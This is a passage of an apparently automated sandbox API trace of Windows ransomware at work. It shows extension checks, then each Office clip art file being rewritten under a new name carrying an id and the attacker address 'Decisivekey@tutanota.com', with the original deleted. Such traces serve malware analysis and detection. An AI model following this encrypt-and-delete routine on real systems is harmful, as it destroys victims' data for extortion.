lstrlenW (lpString=".1cd") returned 4 [0216.208] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0216.208] lstrlenW (lpString=".jpg") returned 4 [0216.208] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.208] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=9248) returned 1 [0216.208] CloseHandle (hObject=0x1f8) returned 1 [0216.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0216.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.208] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.208] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.209] GetLastError () returned 0x0 [0216.209] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2420, lpOverlapped=0x0) returned 1 [0216.216] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2430, lpOverlapped=0x0) returned 1 [0216.217] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.217] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.217] SetEndOfFile (hFile=0x21c) returned 1 [0216.217] CloseHandle (hObject=0x21c) returned 1 [0216.217] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.217] SetEndOfFile (hFile=0x1f8) returned 1 [0216.218] CloseHandle (hObject=0x1f8) returned 1 [0216.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0216.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0216.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0216.218] lstrlenW (lpString=".doc") returned 4 [0216.218] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.218] lstrlenW (lpString=".docx") returned 5 [0216.218] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.218] lstrlenW (lpString=".pdf") returned 4 [0216.218] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.218] lstrlenW (lpString=".xls") returned 4 [0216.219] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.219] lstrlenW (lpString=".xlsx") returned 5 [0216.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.219] lstrlenW (lpString=".ppt") returned 4 [0216.219] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0216.219] lstrlenW (lpString=".zip") returned 4 [0216.219] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.219] lstrlenW (lpString=".rar") returned 4 [0216.219] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.219] lstrlenW (lpString=".bz2") returned 4 [0216.219] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.219] lstrlenW (lpString=".7z") returned 3 [0216.219] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0216.219] lstrlenW (lpString=".dbf") returned 4 [0216.219] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0216.219] lstrlenW (lpString=".1cd") returned 4 [0216.219] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0216.219] lstrlenW (lpString=".jpg") returned 4 [0216.219] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.220] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4390) returned 1 [0216.220] CloseHandle (hObject=0x1f8) returned 1 [0216.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0216.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.220] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.220] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.221] GetLastError () returned 0x0 [0216.221] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1126, lpOverlapped=0x0) returned 1 [0216.227] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1130, lpOverlapped=0x0) returned 1 [0216.227] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.227] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.227] SetEndOfFile (hFile=0x21c) returned 1 [0216.228] CloseHandle (hObject=0x21c) returned 1 [0216.228] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.228] SetEndOfFile (hFile=0x1f8) returned 1 [0216.228] CloseHandle (hObject=0x1f8) returned 1 [0216.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0216.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0216.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0216.229] lstrlenW (lpString=".doc") returned 4 [0216.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.229] lstrlenW (lpString=".docx") returned 5 [0216.229] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.229] lstrlenW (lpString=".pdf") returned 4 [0216.229] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.229] lstrlenW (lpString=".xls") returned 4 [0216.229] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.229] lstrlenW (lpString=".xlsx") returned 5 [0216.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.229] lstrlenW (lpString=".ppt") returned 4 [0216.229] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0216.229] lstrlenW (lpString=".zip") returned 4 [0216.229] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.229] lstrlenW (lpString=".rar") returned 4 [0216.229] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.229] lstrlenW (lpString=".bz2") returned 4 [0216.229] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.229] lstrlenW (lpString=".7z") returned 3 [0216.229] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0216.229] lstrlenW (lpString=".dbf") returned 4 [0216.229] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0216.229] lstrlenW (lpString=".1cd") returned 4 [0216.229] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0216.229] lstrlenW (lpString=".jpg") returned 4 [0216.229] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.230] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3966) returned 1 [0216.230] CloseHandle (hObject=0x1f8) returned 1 [0216.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0216.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.230] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.230] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.230] GetLastError () returned 0x0 [0216.230] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xf7e, lpOverlapped=0x0) returned 1 [0216.232] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0216.232] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.233] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.233] SetEndOfFile (hFile=0x21c) returned 1 [0216.233] CloseHandle (hObject=0x21c) returned 1 [0216.233] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.233] SetEndOfFile (hFile=0x1f8) returned 1 [0216.233] CloseHandle (hObject=0x1f8) returned 1 [0216.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0216.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0216.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0216.234] lstrlenW (lpString=".doc") returned 4 [0216.234] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.234] lstrlenW (lpString=".docx") returned 5 [0216.234] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.234] lstrlenW (lpString=".pdf") returned 4 [0216.234] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.234] lstrlenW (lpString=".xls") returned 4 [0216.234] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.234] lstrlenW (lpString=".xlsx") returned 5 [0216.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.234] lstrlenW (lpString=".ppt") returned 4 [0216.234] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0216.234] lstrlenW (lpString=".zip") returned 4 [0216.234] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.234] lstrlenW (lpString=".rar") returned 4 [0216.234] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.234] lstrlenW (lpString=".bz2") returned 4 [0216.234] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.234] lstrlenW (lpString=".7z") returned 3 [0216.234] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0216.234] lstrlenW (lpString=".dbf") returned 4 [0216.234] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0216.234] lstrlenW (lpString=".1cd") returned 4 [0216.234] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0216.234] lstrlenW (lpString=".jpg") returned 4 [0216.235] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.235] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3120) returned 1 [0216.235] CloseHandle (hObject=0x1f8) returned 1 [0216.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0216.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.235] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.235] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.235] GetLastError () returned 0x0 [0216.235] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xc30, lpOverlapped=0x0) returned 1 [0216.244] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xc40, lpOverlapped=0x0) returned 1 [0216.244] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.244] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.244] SetEndOfFile (hFile=0x21c) returned 1 [0216.245] CloseHandle (hObject=0x21c) returned 1 [0216.245] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.245] SetEndOfFile (hFile=0x1f8) returned 1 [0216.245] CloseHandle (hObject=0x1f8) returned 1 [0216.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0216.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0216.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0216.246] lstrlenW (lpString=".doc") returned 4 [0216.246] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.246] lstrlenW (lpString=".docx") returned 5 [0216.246] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.246] lstrlenW (lpString=".pdf") returned 4 [0216.246] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.246] lstrlenW (lpString=".xls") returned 4 [0216.246] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.246] lstrlenW (lpString=".xlsx") returned 5 [0216.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.246] lstrlenW (lpString=".ppt") returned 4 [0216.246] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0216.246] lstrlenW (lpString=".zip") returned 4 [0216.246] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.246] lstrlenW (lpString=".rar") returned 4 [0216.246] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.246] lstrlenW (lpString=".bz2") returned 4 [0216.246] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.246] lstrlenW (lpString=".7z") returned 3 [0216.246] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0216.246] lstrlenW (lpString=".dbf") returned 4 [0216.246] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0216.246] lstrlenW (lpString=".1cd") returned 4 [0216.246] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0216.246] lstrlenW (lpString=".jpg") returned 4 [0216.246] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.247] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4734) returned 1 [0216.247] CloseHandle (hObject=0x1f8) returned 1 [0216.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0216.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.247] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.247] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.247] GetLastError () returned 0x0 [0216.247] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x127e, lpOverlapped=0x0) returned 1 [0216.252] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1280, lpOverlapped=0x0) returned 1 [0216.253] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, 